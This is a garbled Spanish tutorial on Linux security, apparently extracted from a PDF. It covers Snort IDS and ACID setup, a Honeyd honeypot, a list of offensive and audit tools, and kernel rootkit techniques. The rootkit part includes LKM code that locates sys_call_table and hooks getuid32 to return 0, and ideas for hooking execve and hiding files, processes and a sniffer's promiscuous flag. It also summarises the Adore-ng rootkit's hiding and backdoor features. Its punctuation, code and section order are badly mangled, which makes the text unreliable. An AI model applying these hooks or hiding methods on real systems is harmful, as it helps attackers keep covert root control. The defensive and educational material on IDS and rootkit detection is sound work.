var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 24: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

